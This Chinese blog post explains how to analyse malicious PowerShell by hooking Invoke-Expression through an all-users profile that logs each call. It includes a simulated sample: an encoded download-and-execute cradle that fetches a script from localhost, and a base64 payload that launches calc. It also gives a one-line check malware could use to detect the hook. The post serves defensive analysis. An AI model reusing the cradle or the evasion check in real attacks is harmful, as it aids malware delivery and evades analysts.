现在的位置: 首页 PowerShell >正文

PowerShell恶意代码分析辅助:命令Hook

由于各种所谓无文件攻击的盛行,PowerShell样本分析是当前攻击威胁追踪的重要一环。

PowerShell并没有类似windbg这种适合于分析的调试器,尤其在各种-enc XXX命令下,把代码保存成PS1一层层解码解压再放到ISE里面调试是件相当恼火的事情。

本篇讲一个很简单的命令Hook方式,虽然没什么技术可言,但胜在有效。后续可能会再有两三篇同系列文章,看懒癌的发作程度而定。


0x01 原理

PowerShell中的命令其实分为四部分,分别是:别名(Alias)、函数(Function)、命令(Cmdlet)、本机Windows程序(外部命令)四部分。

我们可以通过执行help about_Command_Precedence(或参考msdn),可以看到默认的调用顺序:

如果不指定路径,Windows PowerShell 将按以下优先级顺序运行命令:
1. Alias
2. Function
3. Cmdlet
4. 本机 Windows 命令

随后的具体示例中,则说明了遇到重名时的处理方式:

因此,如果键入“help”,则 Windows PowerShell 先查找名为“help”的别名,
然后查找名为“Help”的函数,最后查找名为“Help”的 cmdlet。
它将运行最先找到的“help-”项。
例如,假定有一个名为 Get-Map 的函数,又添加或导入了一个名为 Get-Map 的 cmdlet,则在键入“Get-Map”时 Windows PowerShell 默认将运行该函数。

从中可以看出,优先级依次为:别名、函数、命令,最后是程序。同时,只有找到的第一项会被执行。

所以,我们可以创建自己的函数或者别名,来达到Hook任何Cmdlet的目的。


0x02 实现

既然同名函数会覆盖Cmdlet,那么写一个最简单的函数进行测试,目标当然是利用最为广泛的iex。

iex为Invoke-Expression Cmdlet的别名,所以有以下函数:

function Invoke-Expression{$args|%{$_;}}

执行前后的结果如图所示:

1.png

当然,可能有很多函数或Cmdlet需要Hook,此时可以定义一个通用函数,并使用别名:

function zcg_test_hook{$args|%{'[hook]'+$_;}}
Set-Alias invoke-expression zcg_test_hook
Set-Alias new-object zcg_test_hook

这种方式的缺点是不能知道从哪个别名调用了函数,实际使用时需要根据情况进行取舍。


0x03 优化

在实际的分析中,恶意脚本很可能多次嵌套调用iex,例如下载一个脚本iex执行,脚本内部又有一块压缩或加密的内容同样要通过iex。

我们当然不可能手动去调用这么多次,但iex已经被Hook,该怎样去调用到原始的函数或Cmdlet?

依然是参考msdn,在about_Command_Precedence的Running hidden commands一节提到,可以使用限定名称来调用因同名而被隐藏的Cmdlet。限定名称可以近似理解为Cmdlet的命名空间,默认情况下,是定义Cmdlet的.net模块名称。

我们可以使用Get-Command命令来查询一个Cmdlet所在模块:

(Get-Command Invoke-Expression).ModuleName

可以看到,定义iex的模块为Microsoft.PowerShell.Utility。尝试以下调用:

Microsoft.PowerShell.Utility\Invoke-Expression 'Write-Host zcgonvh'

则会发现代码成功执行。


此时,我们可以得到修改后的Hook函数:

function Invoke-Expression{$args|%{'[hook]'+$_;};Microsoft.PowerShell.Utility\Invoke-Expression ($args -join ' ');}

这种方式与通用函数设置别名是冲突的,同样需要进行取舍。


0x04 配置

在实际分析时,绝大部分恶意的PowerShell会通过-enc参数传递要执行的命令。我们不可能把命令手动解码保存,之后通过已经配置Hook的PowerShell手动执行,这样做是非常繁琐的。

那么是否存在一种方式,使得PowerShell在启动时先执行一段自己的命令呢?答案是有的,借助PowerShell Profile功能就可以达到这个效果。

同样的,我们可以通过执行help about_profilesProfile(或参考msdn)来查看关于Profile的具体解释。可以看到Profile共分为四种,如下:

Description                 Path
Current user, Current Host     $Home\[My]Documents\PowerShell\Microsoft.PowerShell_profile.ps1
Current User, All Hosts       $Home\[My]Documents\PowerShell\Profile.ps1
All Users, Current Host       $PsHome\Microsoft.PowerShell_profile.ps1
All Users, All Hosts           $PsHome\Profile.ps1

(要注意,中文环境下ps的输出将Host(s)翻译为“主机”,实际理解为“宿主”更贴切些。)

我的建议是选用任意的[AllUsers]Profile。原因有相当一部分恶意软件会通过BypassUAC/提权+计划任务/服务的方式将自己提升至SYSTEM,为了避免疏漏需要选择全部用户。

至于宿主,暂时的测试结果是只影响PowerShell.exe和ISE,使用.net库创建的宿主是不受影响的,All Hosts或Current Host都无所谓。


选定了Profile之后,我们要做的就是创建Profile,并在其中添加自己的PowerShell脚本内容。我们需要配置全部用户的Profile,所以要使用管理员权限的PowerShell来进行创建:

New-Item -Type File $Profile.AllUsersAllHosts

Profile的本质是一个ps1脚本,为了使脚本能够正常运行,还需要将本地默认的执行策略修改为Unrestricted:

Set-ExecutionPolicy Unrestricted

最后,我们编辑Profile,并在其中加入自己自定义的脚本即可:

Start-Process $Profile.AllUsersAllHosts -Verb Edit

此时,系统上所有的新启动的PowerShell进程都将加载我们的Profile,并执行其中的Hook代码。


0x05 测试


有了以上的知识基础,搭建一个可用的半自动调试环境显然不难。这里给出一个简单的Profile示例,会将所有的iex记录至c:\log\zcg.test.psiex.[Pid].txt。

$logfile="c:\log\zcg.test.psiex.$pid.txt"
New-Item -Type File -force $logfile |out-null
"Time: $(Get-Date -format 'yyyy-MM-dd HH:mm:ss')" | Out-File $logfile -Append 
"Current Process: $((Get-Process -pid $pid).Path)" | Out-File $logfile -Append
"Current Process ID: $pid" | Out-File $logfile -Append 
function Invoke-Expression{$arg=($args -join ' ');"========`n$arg" | Out-File -Append $logfile;Microsoft.PowerShell.Utility\Invoke-Expression $arg;}

模拟一个简单的恶意脚本:

powershell -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABzAHkAcwB0AGUAbQAuAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADIANwAuADAALgAwAC4AMQAvAG0AYQBsAHcAYQByAGUALgBwAHMAMQAnACkA
#iex (new-object system.net.webclient).downloadstring('http://127.0.0.1/malware.ps1')

malware.ps1内容为:

$cmd=[text.encoding]::utf8.getstring([convert]::frombase64string('d3JpdGUtaG9zdCAnemNnLm1hbHdhcmUucHMxLnRlc3QnDQpzdGFydC1wcm9jZXNzIGNhbGM='))
#write-host 'zcg.malware.ps1.test'
#start-process calc
iex $cmd

得到日志记录如下:

Time: 2019-02-23 19:52:31
Current Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Current Process ID: 6956
========
$cmd=[text.encoding]::utf8.getstring([convert]::frombase64string('d3JpdGUtaG9zdCAnemNnLm1hbHdhcmUucHMxLnRlc3QnDQpzdGFydC1wcm9jZXNzIGNhbGM='))
#write-host 'zcg.malware.ps1.test'
#start-process calc
iex $cmd
========
write-host 'zcg.malware.ps1.test'
start-process calc


0x06 对抗与检测

红蓝对抗是个不断博弈的过程,分析方式在进化,恶意软件也在同时进化。作为一个伪分析人员,抢先一步猜测恶意软件将要使用的技术是非常有必要的。

所以针对某些分析或调试方法,我们有必要进行自省,是否存在恶意软件可以绕过或是进行识别的方式?

毫无疑问,正常环境和调试环境必然有着差别。事先识别出这些可能存在的问题,在很多时候会使未来的分析过程更为顺畅些。

(最不济,还能给攻击者挖坑对不对?)


回归正题,首先,PowerShell提供了不加载Profile的方式,其命令行参数为-NoProfile。

例如0x05中的测试命令,我们加上这个参数,那么一条日志都不会记录。

当然,这并不是很大的问题,只要将命令行从各种工具的日志中复制出来,去掉这个参数即可。


其次,PowerShell提供了Get-Command获取命令信息,例如执行:

Get-Command Invoke-Expression

如图所示,正常情况下只有一个结果,而被Hook之后会存在多个:

2.png

所以恶意软件只需要添加以下代码,即可对这种方式进行检测:

if([array](Get-Command Invoke-Expression).length -ne 1){exit;}


最后,恶意软件也可以使用完全限定的Cmdlet(例如Microsoft.PowerShell.Utility\Invoke-Expression)来进行调用,这种方式在脚本层面是无法处理的。

如何避免这些,做到更好的自动化分析?下一篇(或是两篇)文章中将给出一个可行的解决方案。


0x07 参考资料:

msdn-关于Profile: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6

msdn-关于命令优先级: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_command_precedence?view=powershell-6